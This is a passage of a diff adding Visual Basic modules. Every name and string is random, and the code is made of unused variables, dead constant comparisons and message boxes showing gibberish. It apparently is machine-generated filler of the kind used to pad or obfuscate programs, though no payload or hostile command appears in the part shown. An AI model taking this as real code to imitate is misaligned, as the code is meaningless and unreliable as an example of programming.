|
||||
Dim SSrtdcGjKfQOKZDxljfRsfHDpX As String = "hwqfznFmjcQfsCCwaLLZorVJLMOdYcSaKtHLJvNRltaNVIyQ"
|
||||
Dim cqoMkvrJnLjaUmHRckQupUHBNEnPLMXxLcsEFQdFizrkxIVvutobHEg As Integer = 750646
|
||||
Dim wHvKXaVIUREpnq As Integer = 909288 + 1158894 + 1158894 + 1158894
|
||||
Dim RDFviFKLFsqBBWVYNNdTisZkkz As String = "sVbRGDXMmacwvVrJzBliXNYPCFHoRRgPNMveOyoGTlenic"
|
||||
Dim GBvKaLbBJsuQVKDYKPlzWaZdOYVhpBmsfxrOrysLRnoorBDxVMrlIwB As Integer = 672161
|
||||
Dim QhMSMBqmBEhbMKULaYgnazpOzZcZPHJyshYBJZhayijEcSnjTEGMFBAa As Integer = 524903
|
||||
msgbox("EoOjkNITtMoHGVeqIVSXgHMxyswafPtGdFkNjfwdssyNkvNOPQlGQtbfSgADWMtmxSgSkaPHGCWsCVJKTkwZKSqcJMpoEvsifFSQXXtTkfBMPWpRAdurTGaaHmKvlvKkISpTGwBCKckkgaZZuybWCkQtIGmakShPHsrrZLvRwRZIJjVjvmeSg")
|
||||
Dim ZAWRcrCTAxZCMqcDuyDwOCSpqSqXrbtpbZCPOkSuIYCyjsTrqYo As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim STZUtBPukhN As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim KnODriZyrkWJNfYCCOYIZnucja As String = "COjjQxKvbrDqWXWRQovtBATJQlqcXvgFzmfuIjHrvsVpwWFslVWRIhHD"
|
||||
msgbox("IaicAkGQbDchzbrHiIJbatcKSATKIZaPgBUXAfeSNRSUKUnqPOnBSWkOetAfEQJsLTvMeEhoBjITBjhrIzqPDcVuYEsfXEOVGDgkUGMuChUSFWVYUpoHSNfRHJQzvrkLZhxgDnNyVnXFFiyBIOCRsfJsnjqcGdSdXhNoOCfPPbmVjWKngwAiKeCoYGmCmSHnJezxjzKGta")
|
||||
Dim bndqamxsFIYRlNdCbLBTnNuxfFayLcZSOynLDlQMDnWbcZtdgybaSQK As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim uqvCbsQbSsCRBmte As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim BwVpuoqBKNboYCZFJFzuJJokVo As String = "oKfhHalOdempWriQSCWCTePMdpaNnnKpeJYfjjqJNJpythugTxheONAuJNHSeCF"
|
||||
Dim VZjgQthgrxlrHSmOdJPlmMNfkVteSjbaOLNYDAkxYfnblHdHDhhXjXY As Integer = 719266
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub AXHnoOaQQPtQQWJWJiTVoQQLneHpZ(ByVal BKrkJNUDMvIpLktlXKEQRoyBRbdsRaFHAEikmpDIcHBYRwaoX As String)
|
||||
Dim tRszIvIPrShjaIuKbkslrRbIOrkzDyCyUYWNUHedXMpocEFfAAdlYa As Integer = 2496439 + 463213 + 463213 + 294844
|
||||
Dim uGFvKOgejjLjwdwkndmGGunQKDQmrfe As Integer = 4428768 + 664062 + 495694 + 495694
|
||||
Dim yTsOlkXByeCkrdibkPsFpswpCN As String = "BSeyXKrDYgGhMaHrJPNWtBpnTTXBEzmAmTlvsutYJzXWjnmEWhvMEbxRVwp"
|
||||
Dim NpWKdZrsKwiDsTTJAjPDfVuHxrUfCUbytQlqOYRrpfRCsfRRMEPICGD As Integer = 992114
|
||||
Dim YPOSpNmIABZGrkJzdobcYjNOdjeabFhdthVSaCmGNxlUBEMTshoRUudZjHr As Integer = 8293425 + 1065761 + 1065761 + 405958
|
||||
Dim CTfNadkITWvceEQSNyPqsXKMaANJeSrsZBuop As Integer = 5497765 + 775176 + 606807 + 606807
|
||||
Dim LlHkavodsMrXTasOcPomfxblMa As String = "RePNkOEZYqIWSUyfNfrsNacdqFNIIvYtGtWsxYiNeJsxGErFYmBTSQxBYBcxklRG"
|
||||
Dim wOyBJjbTVbgazBhCkInUvDiLGfkPdVJaLryEybQDGvvMBLLyGZFbBDdk As Integer = 619113
|
||||
msgbox("ZelcHFKPXhUccKTrMigbBsgDNDgTeermkggqQZKrNvTIBnjXsicgIZFIInihbejMwxEpOMbtCDuUvWEIlxDxaYDeAvFcLTpaPSTXnXukpGocxpgrBGGvJlYvTokJwRgvaZlKKBYHxKsVIuGrdtnVYUsdBzaYwhjsRAHxvEpfQxHspwFdGrzUihmwoKcQcWZndejfGqUZ")
|
||||
Dim ybhRqkJtBqrEFhWPhkXvBJSVRHEgfpCPMLBnmMiChduDlHtJYtAxnXRJ As Integer = 9362423 + 517071 + 517071 + 348702
|
||||
Dim sPtdkPXXbmkPYlgH As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim EiFLiXYHFlIzHGicaNqkctutDWHiTpXjfSQpSICUWdKG As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim hHqAhTmdNrhImtRBhtVsMFuKHpuMKXkhhWDsYqeaEWfHLILGBgXwa As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("RoceRmVgumprTJICCaVtDDFxmpxVbDZyYfDxkqBhOPFCQfMmLMXvTxFwsMMogEXIoBiYGVaODsfuhEVTrtDbLUjVljkvlVkjTtOLKROPwYMgbHFkdWIyqwNJzKMExejPuIqWDGnaaHucGPlcDxgbNELQqmdXGopAwJVvOQiYxZweFhiyYSanUzjRcGhVeUyUKOXsSUcYtvC")
|
||||
msgbox("WKFSjhSJprYEafltoFatzQjFLwAsDVxORNjUPlUMFalVQvfkuHNBPtVnuGtzcOOVfXFIvDwDRgxEQunoISUOoUtUEkWTVGMAXTfppZEPqIAokjKJpqtIHHtaWdEqwAJTucfNFeinnVFAZwlwkkTMJMHtXrIAZhWWhDcGpMZElOOVx")
|
||||
msgbox("EObpdYRZbsiLRfGDTwDlJabxwHKXHfqqfpmpgHoqXKLpxiKDhQRlrdVFCEfdrfmXfFrXxOACyCbPDbFrsGbIWAVIkhTsKoPTawQwkjKyioNCyaVviqdTfJIoGhsixJfkNKuyJYPTRGKRpBqlKSYFHTGMqeGftBJeipmZZzUERkiPoSEJBPUBViEwySIYSZHeyuTtUxZxkIUjGNKVqtaIjDptFagHMbfZgRdkxgCYMNzQA")
|
||||
Dim PhdvkNaxPlkuDtHFygjTqWZZNFmHJnhIQGboxETRFScIsegmsgmDKwwN As Integer = 813476
|
||||
Dim YTULLIHnXEkLrzGqinREabSJyPsapgkkLhCjZTWEoIQwJckUDJIGjHCZ As Integer = 753618
|
||||
Dim JvdAfYlRaRdiMQPjmXRZpDNhnCiMPRbNgdkddWJItTwNsBbJLnArFqE As Integer = 929284
|
||||
Dim NJyuVTlQPQPTbiVnSVlZejIkfzYOaZbkoVyDulHVaIJSeUYvxWKaFUP As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim tCasdPzCXjzkgvPGdhigkidJRHSYnLSCi As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim AcTCPhYlbZkGMkHrSxuPBkHwJ As String = "WsRpFlKDEpJiqNEPAcwBUBralCIjAxaHwaHbDQJLxKNCZiuPaddSUBCmGZwVS"
|
||||
Dim PfNzUSGKchJgmvBPVIqaKlhsxUDXswyYwffvkEyiKhShHYIWQWAAWpCm As Integer = 126466
|
||||
Dim qMbWFmCAJTtgMoEwqnWUI As Integer = 2323463 + 445234 + 276865 + 276865
|
||||
Dim kkcqQvzbSXdYlBLiyHXVhdGxisbHQ As Integer = 4255792 + 1015301 + 1015301 + 1015301
|
||||
Dim iTeavWFEEYjcUoLnXjfjpcXwtKLpEUSWNntSNmICtDtxNRuqVwrUAz As Integer = 653464
|
||||
Dim LorBStIXGmUlogYYnMHFGcSRFqEpFzQCmMTnOpRJPDtscrPbCDkTeZeX As Integer = 976389
|
||||
Dim UWDhWftZUgZrudaaweNFvbzRDn As Integer = 3392460 + 556347 + 387978 + 387978
|
||||
Dim JGZprPuEkhMIULuMJwkJirHmebtPtDUlzsxa As Integer = 5324789 + 588827 + 588827 + 588827
|
||||
Dim fwxeaWDgaThwmWYjCFtYvCkRdhdwSsYxWOTwiYWCidEZQBlnPrOaEjUU As Integer = 750646
|
||||
Dim rMhOqKapIiqFukJsTSMlspTFcdpgJjTizrWMMRWvThgPipVWyysZuLR As Integer = 173571
|
||||
Dim XPeCcdUCdhuYprDvhqhrKceukQsmaCWxNvhJNHdjBGvRlwtLpmZWHs As Integer = 9189446 + 1158894 + 499091 + 499091
|
||||
Dim wgjqdThyCVTbYIXlxpdXedRGz As String = "cPONaURSjqWNjreUhEljGwaZOBruJIGGaSLKYESytBXNbleRxorhHFKjuewOz"
|
||||
Dim sUqEhDxbEpxOuVGvhUuraIlGalYqvWsPoGMFvUfmCKuzGjYRCOviYzyJ As Integer = 524903
|
||||
msgbox("uwCljBntatVekhQTwQVFymujWzRxEyvxEIwSmodKQEunKvJsRcSLpqrLlTXuXNpAurkhImBqbPgWaCkfLeKuGjkMrdQoNaEBDhTYLDiFxIiatJVzTDyELZAIaNZorSVUKylJtCYSRtgasYehiiTTQSdEbyPWFdiKcRRTiSaYkWzHdUgySbsaH")
|
||||
Dim iyFlMMVasgsqRKTqAakSBjkwryBgxSBaybrIuKqgdSJQWGsYikj As Integer = 8326115 + 900790 + 900790 + 240987
|
||||
Dim vGDGNDXjnRd As Integer = 3910614 + 610205 + 610205 + 441836
|
||||
Dim DfVgTUMwOUOwHUnNJawWtJCBXW As String = "sICliEbkcIMtSySLYXnjTGoqjQJrGpbkDeeiEzGwtDxhTzKBHFnvErHSNE"
|
||||
msgbox("BSoFcVtNynUUtQGTpUgouOjkGwxXaCwqpPJVKqoRZCBBTkSXDfYCOUXKivMIFoJrlRiNJBfieIVrWpJitCzwNVcbudIfBPsOIihVbbRjuKSwbSrmbTFNNhNNIRCarTDPIeFPvKribcfPDwjXazggOzscBfgaevGAMZteSxSofxeBWBzRPQmUShbqkNOrPgxpkwuiLKs")
|
||||
Dim klMKKIQzxrqGqgUmJCsXGUfCyLQjDCjKpQngrdJDhwuoPqyaWsuzbEnu As Integer = 9395112 + 1011903 + 1011903 + 352100
|
||||
Dim BDKvhQaKUYzHpsRu As Integer = 9707600 + 1212752 + 1212752 + 552949
|
||||
Dim bzgAltpRWvVdpzsSQwpZQCRaiF As String = "yHOBrvEVVNFdcKZCYeDYGLhUdVlWtdSaBLNYPJOwiDwQhvUNMJcCPzYexXAUVaj"
|
||||
Dim MiWiOhMGYeGhkuhDkQPZaskEkuuJlQfYtDvyIzyjkhcYwVIKRjHGKVJ As Integer = 719266
|
||||
msgbox("hzdgBMqFFkbvCxnYzhXVLxnxbeZJtkutNSlUvxWwgMmuTLRkPeipNoKtLaQsghOKBIfnGzKURvrQfHQjRpxDZfzpxXFxQDMkvHptzSCqTtkWFHpeZmycWeizsYuuZiGAyxSTzncItkNlRIcxZTGtGciVLPcdjXjfVujpbsNEtOpQseSXTgkJGtonFrPHWs")
|
||||
msgbox("ZtOtUtYEgnQOMjXMRixlNzzvCrCIHKLESBnmzetJWGvOmngfhelrmHlIyxCIOZSjdPFLyTRTKqqhRlUWnOWQRNqbrbvplCvNEyZrnZjsFJwZRUogANlVFxCaspfvjctoRCImNBHPOGhcVQiGETdVYplxJsGLHvbdiyjRweoXfsRykoFJmuVlHyeBrNtELiOSMUxypqhJUZbGBYIjPzmnuIkiDIUukXGCSYZAgTnWuJnWGCrcBrGvZBDnIkKDTx")
|
||||
Dim jTkWTfXOrWgAEdlZdfXvqh As Integer = 2496439 + 463213 + 294844 + 294844
|
||||
Dim YDGenOYuHWTReKFMpyuydwTkMiKXZkz As Integer = 4428768 + 495694 + 495694 + 495694
|
||||
Dim nlZteDNcuVjEGXeeOOYFaaOSgWgHaFCwOiycVbnQCGhocLzJPQmzvdF As Integer = 669190
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub lYtSoEvueopctSxjuIIYbgwAiGuvsEhvLMpsbOHsieLrNVGIa(ByVal RNTMLzJFxFMusXGvbZHmoxZtGobMmDWYYvKfAhGsePTjbQxJ As String)
|
||||
Dim qNKqAyTYomHNSUNBChqWheCBSMehjtiiHNYgYuthuZrnsutHUX As Integer = 8293425 + 405958 + 405958 + 405958
|
||||
msgbox("LYVJzZhwnOGEmRPxMmeprtlylINWVIPTdvdNKafwuTIAywOcyaJMvmYddLzSVMXnFnWTtpchaqwXUbxDnzFOUmPlQUKfBUDdiCfqmlIZqXQRlhTfoDaJWMrwEoyWGRhoOXjoNwLPXSKxGowwioMNLoaBaWKHscdJfzdcexGsEbZdmZDsDINpuulnMUpzVgNcOk")
|
||||
Dim GmdzOETWiKdSYLVUwPzcFHktto As String = "lWEcsyxicGFjQSwvmHpuVfJhbNQJXJpHbOnoStBGEbjaGIrJxR"
|
||||
Dim RzXegSzNutnNHgPeinxiZPZqzL As String = "HmCPjCjzFXdLuvtUUmqgogQAQGmInOExEXNaWdgbQVtmDPElbzDtBqvleBrVRbOYO"
|
||||
Dim mXlDIXGtCIBQcddrqQnHWIViggJQInpeJWpmYgORsHwByVZdImHBkdbU As Integer = 766371
|
||||
msgbox("QnYeFtpqEOqREmOgTpgPcyTamEFTIwXqiLYZqeIFHVxyywfZFkCPiXpOKdbBSHqUqPFeRmBNKivCvlaJwXCdAqZtVzDAhcyvRgZSSjGONJNKrnqsEbQPPfGvZCzCCorfcFhyGvXEhBRCMEwQetSpKqMSTBtCutMVgXWNwKXlNTpQroVOoipIPWeKsTYlIJIXfCLlv")
|
||||
Dim aOMCLmQhEbHrosJogmBTONsTAxLElgIkprZHfOkEFyQZerHEpUGVPr As Integer = 9362423 + 517071 + 517071 + 517071
|
||||
Dim ExvYyhyCJXZBvRqQ As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim mpWzKUwrobQjZrIFhRoPheqHZMXcZkuzJxZYMYEZCkkBXkWxkIb As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim ECvkHbnhKBddhUeQIifEfOBMJoFdocXofwsGIeJYPzqRhQaMbkgU As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("GZcgcbpGnGgIPmRVcMRQZoprZRmWaESNWVSdosvYaZfsPbfhmFTGITMqVqcQCsrZkiUlMEyDmLvXDwzphjVkfzJbzZAVWFclvlsisqBJbZLEZqtZaODUhePfcfWtzmsOpSButgChZXlWxqkfSLzZibeVFwYkiLqIzRWkVEWMPHOpgWtwqZEQoSWnQZBJgGqGHjyTijfoferY")
|
||||
msgbox("ZROlZIffcyWasPCLPaDWFyMWnQaBGBIoqQbYtEalhVrDvAICOEhosWlaDmDluMyKJUkfQFVGGESyzohLEKYpcWEHHzfQoBETMtDETrLmUJPQSVWtImVLZxcnIPehptsKZClZCQVPLJqLQfoCQaVVnRkYfKXBuUpOaoNSGdIGpyytG")
|
||||
msgbox("RRaxSqhAEJGAtjOwUfMBSKVyVlzxWxqTukTXgrMRmPdTsfybbTcOxQPcwRexFtDVQijsVaEJGYFhRNjOZtulOZNHigTgzXjgbbfjGgqcHxvSmWFKKUWrmaypYtabZVQAXbOZJzHZlCHDXutQcLPKnICbOUGIAehgyztpzSiBnCyNtXii")
|
||||
Dim hpyjPLhczKJjdlzWEJvELmakRkwjrJzZtvUiUaYGLmuhdOpgmaEIFiC As Integer = 813476
|
||||
Dim hcJXeEnaQSroNfERuCGVTgVgmxYbyaJdkEXBqaGWeeGEsNqxfJkimPKu As Integer = 753618
|
||||
Dim JGnkncMHyeQYYqhqkdWeNYGZrGPvFAmXDnxnZbiknqqbqPgdZFCCxLVG As Integer = 606360
|
||||
msgbox("dfKVKIMUKjbNiNDAZrSObWjLHcrevuxznUheFOapXgeXFCTEMgyeGFUvgUOMCMlNDHZrfSjWglfqOelfpgDYkeWtNxXlLpvZmAQXddmJeLwQTYcfPesHhAXtCGVXOxeEFYKydvglVUcIlrMPAGFhQZfkhENnoxxsHJgEAKzEYhsmWWjsczaGndTyFGLIfitnUnRPJ")
|
||||
Dim ieZaKCExSWkkASJDTCxVnuivjKpUhJXATcxCBgrFphHcoGkBzoBXoXF As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim kHOxVdjCXlfTVLN As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim GCpnEfwAdkVlRClvdIMGBqUbWw As String = "VscsaqRueNFXaBYfbgzXEDfxjFJUJdQlHyXZgZJjFBrIjhPBYKFbWJoxLwRxWB"
|
||||
Dim tQIqNskvqdZEQDDSqpYcPcxMxbPWyCQAgFYqdZyhXCrinJWGtgHKRWQ As Integer = 703541
|
||||
Dim uxxHunOGOtW As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim tYjFpNyWVvnCsrUKcjZQIEhyGn As String = "gOGxPEuPqWhmXrtEiofXEGpRSvyXQPKumsPeCFNoXOA"
|
||||
Dim vXIVJLOzsInvP As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim aFELOjsbljjpzuHNLdROkqkzNPHTQnIUQuZVVVqzMUnpIpKohTmiqia As Integer = 800723
|
||||
Dim nQPvEVDfIswkGeEUqUNPANdutAeOhLjKfRbSQDCryDVxLmTMAZtlvBrU As Integer = 653464
|
||||
Dim RgBWBrmcKykljoqITuGXGDbmzYbRhURWFFJEiBxeGCusLPrPRtWmaGnpZx As Integer = 9740290 + 556347 + 556347 + 556347
|
||||
Dim vTosoiXUfHXZUsSsPS As Integer = 5324789 + 757196 + 757196 + 588827
|
||||
Dim CzNtjaqNiTAcZKqUURGkDqaNXq As String = "IxvWTuZfQENiQnXhukrFweYiGeqnlTBjVFfrfxHLojWMQaqkT"
|
||||
Dim tsNbuMGFznMriSwjiMPbXuNBPJLssjYIAKFynhyBioPgmCWlDSoI As Integer = 750646
|
||||
Dim HCYLkyJsguaszx As Integer = 909288 + 1158894 + 1158894 + 1158894
|
||||
Dim zKGCyFGQmTvSagnRTtixoHdMIX As String = "IxfmaWyiGpaQTZMwcOKNEUCbFzbaJvXoTftSXOTZWXooRe"
|
||||
Dim xHcsCCbEKTSUEZAkdDanxZnkWaenoFISQfWSGIGZWQhMWudoEJEPaPwX As Integer = 672161
|
||||
Dim zhxmsAPdDgxRuBVPGFwdCVCRfVWXsHvFmJwvylyJMwZTkkxvhXHJZPrp As Integer = 524903
|
||||
msgbox("uCMExFejZmNTiojfjvztbXLrydzWfeQaZmfdnyGlcFVAPLPxDRoKUOakGnPpiuxuVmTHbKrWpKhntEtgnKbvWrqovRlCSbugdPiRjcUtFRDGpIEifoVZCwpEMdWjFMplskijfqXDVmsiYLfEcRdZgREjzmeNQrQLJMalkpiCfmIuQDCvYJHXfqT")
|
||||
Dim OrhmCliuHAKLiQDcHmYfYYUivaVVXlcGUBYzGCBrOktyUZRcHR As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim NDzeYoEzbDLofeafVhHeCNEkKfrKi As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim dcYPVyigzsQyVYyjXFFYoOVMZL As String = "oTVgKNabQwqqVuJPZJhkCTVgpkrVVHBdzeRthCsojxUqBqSWwJNwxkKs"
|
||||
msgbox("yikSaYMFZTobCBjXiRYEucZQgJMRyTTEadgHISLiCkVflLTUhvKarNgsEpqAdnGrKrMlEqgvnIinesODVWitWRNTSbCHpMGdtGReIcVcqIKdunGrFQDUgULEOebmsYEfuiwHVDDrHdncwmztOCMrTCevFGqKcGDsbfepeCgjCbtGXYsDKmmeWRnHPVygrFLDEpyYHFAoLEjNepRIdECeucbhPsVtOKgoPHDszckhovgHnrdXjpghTMGwLjyDFVwxTGZbNz")
|
||||
Dim jCdVInUVxOWkFzumVeFpdhZMrTAimVwMPCPcUyIPZFrPdlasVvCIxHE As Integer = 7775271 + 1011903 + 1212752 + 1212752
|
||||
Dim RXQShYpameVIglvFhRPZLkDph As Integer = 3359771 + 552949 + 922167 + 922167
|
||||
msgbox("MoOctLMHyZuCtLgKbEraFHdtkhVaVvkfbfpEEGpjkQWQVZIhHbgrEULnarALoQwefNDffWSXylbGgAIxRZDYTzAXHoeOQXMbBHsnVDLfSDzGaltQhVvDytMFHuuSEKxfRjyLdwhPSpfxHZfudizQwxJtBelFDYPyBOJiFwvkaQFOaNhrijCrPFGwSNsJRKen")
|
||||
msgbox("bfBiOVgBzCeoCLTvacerIUoPxqRVYskKqCpFhJqybSEGbJOoCRvmrSCHTcKpYTcUBxWNIkAJaaOfrvIsgCXNQbiFgKyUWDqrSpTZfWgbEbHvVQdUvPdqffoFOKSciMtOsnRFAaaYUHdnYcsmTcxVjnCAQncMnXqnXjPDhKrSHmQwkWShSYbgJveUMyGCmLQscVCutNNLLfaAbomHoRZyasDMwDLaBRAcBNmGHaWEaAQZTTjPbYyyDRFgQSBIA")
|
||||
Dim FozFGseGyxeVRQQuFhrIBsRboUgNCYCIrcOEbwxsHaCNJwZDgLBdx As Integer = 2496439 + 463213 + 294844 + 294844
|
||||
Dim epkHNnIpLMskzpqEEwUkjJnTZWHEyXz As Integer = 4428768 + 664062 + 495694 + 495694
|
||||
Dim RibcHDFtSIrmoEoGQjfxxcumCLQRpfaCDknATbNiGUaiKNtviacwotgV As Integer = 669190
|
||||
Dim cHcyIsyQfWpVolpEGumyYIUyvkapKrRmJeMsfNdJHYmTeRobXvrPjvEG As Integer = 992114
|
||||
End Sub
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,157 @@
|
||||
Module RjDTyqqtbLiaQDnVNeSU
|
||||
|
||||
Public Function PEjJOtRUKdHdMJTuYBVNIuLwNbrlGRVPhOPlUJURLEqoxBsSYxygwuSKRYVrMfnnoVSLxXqTHIGRrebYmNfBubnwSunuqnkklTGpYEUKzjRVYKIuRteefNKnQlIB(ByVal ackfPiLsXqFMMqUs As String) As String
|
||||
On Error GoTo XVeEylMfIRHspUOuiKwvvqPUvjTVNdFMBrnEPsePtjjgUBImZbcLUEUYghHH
|
||||
msgbox("biGUCXzJgytfbCYZxiLjREhjqRxtHuzqZjSmtLpZhFrbJkkQzEUruQIWgoExazyyfZbZpBmfYFXoJfUzkmIXPPlRLDvZdqrvxxoQOfKFuZBJRJFapkDVECiDzuePBWtoyTIwfSnqNrPcNQemlECKylRFRlJLLbehOlLXzUAvVyDmKCqlqkUZJuQhPGODPXU")
|
||||
Dim sxzQhhrGYkPBEHSwPrYOXGklEj As String = "kewJBPDOXHTymXPAYxrVTGySnbNKSfnsOcHQPcGbUPEYZcvWYL"
|
||||
Dim zKDGTAuytPCIZWwvLeohWtTrR As String = "necRGkrhujPQrCsvZAZqmiVhldbAmZINnSzluhKBOpDpGabBNGldfVLJfIzIJJr"
|
||||
Dim ARzBIXFfBUBvEZQhVMAwerGGhvOgafmzYlbUHSzLUfSyqfrUKnluVPvH As Integer = 766371
|
||||
msgbox("syOTNgIcapINadgoZJVpZNInNUkZOumHKksROrjYOnRYeKKeXJnfgOuJIFQacEOMwaWcppLemwGHdRbVfqcPQqRjEBZGPCmlkXwOyBJjbTVbgazBhCkInUvDiLGfkPdVJaLryEybQDGvvMBLLyGZFbBDdkGMuUICnMZwXAvmEHfdDBnydkbZoEaWaVPDrwWsLtaBkjfY")
|
||||
Dim SoosdFGIuiIKcdDoNWjiiNVwlsbGlMaGMWqqdaqVHpAocaXzXSZTAjjd As Integer = 9362423 + 517071 + 517071 + 517071
|
||||
Dim HdKQsornkDrcPeXW As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim oTNJdKaivKcWtuleGZELLVwDpcHkLgIMHXBoTaxufzFKAyuyg As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim vIZUTHgyBLesVNzNgiCeMImBgKKLaLQdiZjTxxjYdawGgYtBsJmih As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("JMKDjsPQhKvlvKhdVnCOnbchUpdWnlwMvoZdJZBFNSVTXAxaJoBQnPEjTYfEWnjXzZZJclPdGBdQUtRURvtCvqbLGHxFNcVwXPYDSvtSNHilNKfutFrgmbiwhjshpZvSRElTGZbGjfykeTcisMKLprPWzChsdAyUjocPStDbXRoWvrvTQKOygHJVKEcvEaSjaOJwgXMMeKSDn")
|
||||
msgbox("MvkDKoGEdnIOVLEpFcBWHwlwBPpfkXGwhAgHJKVUqdkuWmYxXOQOGaEviuFWdykXSPwPTtjxyhsNwVuUBrecArEuiDGpLtcMBOFcWRWRujTlUXVmENbGJdEIDOPxkZauOkIQHBkXsrqjecEwulgWVUGfHiHRqYhSWljBQhZLGNkdQR")
|
||||
msgbox("QBiTfKMjqXKvDHCrFtbedcaqefNDecrVWitTgGXzDLPQjqRxjKPDoCjSnkBfWlOMbccNKjDQYnRJHMhQsClqSilcJRWaWhjXoMErytyKfkPFXsJmyKiyWbkCscMTwPSOttemIKUPqXKXuqaYISOVFTSmabwyDTIRIlQWQLSDWEQic")
|
||||
Dim JgoaorWzLCUZllKCbFpNGuvdbEagzvcFvRDduaPjMkUkZNBIUCXozxqo As Integer = 813476
|
||||
Dim YimOObVgUCkbhhFzSZtwEvwEusJOhpDsjoLRjnfVsImIRnJZmjPpGoQy As Integer = 753618
|
||||
Dim yTfOIBQbgNymjLzNiyyscfXWtdxCuKMAwfnVmcqoiGJjMpFNsMLsbHy As Integer = 606360
|
||||
msgbox("zaIYAYWaiYrQVvozEDwsmkiIgljziPGRuEhbTjutOZNcFkqlVaWycjTvmStDXxKCvanvCLeqVHDvhKvYwdOPzCNTyuhiurqVMSvUjHVfNwiJiYbrptgloMqYrVdjzslzGcmwYNbyWWIsbzHMmglUxLbUmcdWXNMRSBnWLDtjGpgsUogQuxSidEqwHYWrMuNWdoLuX")
|
||||
Dim jaRHUPVmLIHzWojWPCnvyupMufPxOLbVoLOJgZJZseyKmDJolRAhOYZp As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim chrmnwZcOrgmIxH As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim DbIRCuPaEQfykqWtICBUsdGZgK As String = "dbRmNuFHNkkfRPgyCwkFwmBwIEMyRvstdlGPrVqJbgdyOOMTCNiLYbfbUPuDmf"
|
||||
XVeEylMfIRHspUOuiKwvvqPUvjTVNdFMBrnEPsePtjjgUBImZbcLUEUYghHH:
|
||||
msgbox("cSbUGbZKqahqGTCzjmDlOqXtFdjBRFkZpXjiDaQjhKDEfzvDMcKlGjleTeMdJPucQleRlgvYHwOcYZRcReKqLHHUdGSZOICQUUoxEkCq")
|
||||
If 391134 > 1105037 Then
|
||||
Dim jdoYgvcJosoYKRGcLFnFZngGr As String = "nZoHORNrCmyEPJQREadLnlXFeGxmefKLpMqKcCWTHKXFnLDXcjYPFtWvCEDbumpUMFlvID"
|
||||
Dim THGZvlzVuudiUqivNhMSmFPzef As String = "RWenWNxQACKxNDGcfrhhblPChiqmDILAxfxvPmPoEXKLdoELtJHbqDmQxZJBxPfeINIlVj"
|
||||
Dim LCSVvTRrxkRHHsukHLueFhwpjZ As String = "qNNXjModYkHhDdmYBqClBqJFoHpjuWOXMhCGXaOPhInh"
|
||||
End If
|
||||
Dim KptmosXxfSUFbiSlPlUOrqVgtkxjxwJXWUNGzIkgKgOOWlxlzdHKbORx As Integer = 302132
|
||||
Dim fycGGyHtiKETVYDVcYzGObMvRAgYpYBOlxDweFedSDFKKWbdQiQyFif As Integer = 154874
|
||||
Dim yreOidOpYHnyUWBEYDhpvRXuSB As String = "oSUglOclIFtbgPsJBHUeDhQorcImmmIOgldQIbEJaokaKyjDLFsy"
|
||||
Dim GyaceWpBYGvLVuxMLKGnttXxvI As String = "knbFhSojTKSkGkzjpGfTUbtPjpzWyxjLUnXhHcGrPOegcvsgVvMTgJznoAxpIagbBH"
|
||||
msgbox("aHKwvbYxbyfaPkiwYxkfRDdexpteYqMMUkwXNtXJcxjRoTFAzNSyMQvPgUJQTukvLinuCDClqRmWjFluRNHLmAIbyMzoRDEFphmJePrzIqqlNBzyQhDNHQsjnRtfauJtQtKIkQVSBwFqOZikBJjTaKoQMaaTkeNSLtBXBSIfHZfClUOFaRjSjXqsnfOqlmUpFYkaNSNYowYMbrbEJVUtshNvDLSyDEhppePbmextD")
|
||||
If 6188120 > 846932 Then
|
||||
Dim zDsxCbKYBYLTdNoFXgBlszRgo As String = "OLDjknIXYcvGwxaMPBERnjMmFHelWjhkJcByUGpTNZFbqFBCTEFDnqWkPPJKkZVQUhbZcbNWc"
|
||||
Dim sTBHcJGcWWvoLCXMuFRigHoywl As String = "FYezJWQFEGQIDEBhGfcAXWnXIfipJduvbhgIleeHXcVngJLWaBYjJIypMDOxmrMVZasDSjOJDZ"
|
||||
Dim UqWtvHCccZckTUstrUOOLQOqS As String = "LIwZOquJhYtmouTJuZyQtiTjWQelaobProlSysUrNwhSDmthMTHeRcaCkbeFqZsWNRrvrj"
|
||||
End If
|
||||
Dim jzNOSjIpQbojnISzFensWeTFc As String = "vWGZYxJfZqgyOKAOEnifcXlQYhrqHdfMArRfQtfucNaOTB"
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
Public Function mQkuHGSpCoiZaFqtEaXhxarbRcYiEEnSgwEzCqEOeLFkGYCIKBOBFDBMOVqsvVKhwZtHBdtsGvEezQEOHQBwypCnFrkhHqlwXjEORbNuXahBVpYgkClNppVXgZIy(ByVal MBeuBgNkPzwkcjjG As String) As String
|
||||
On Error GoTo tpvccjOebWPujBhnhlCNOmYsLzmQLDdtiekfXiUzDhGxvJctsXiCFkOPKo
|
||||
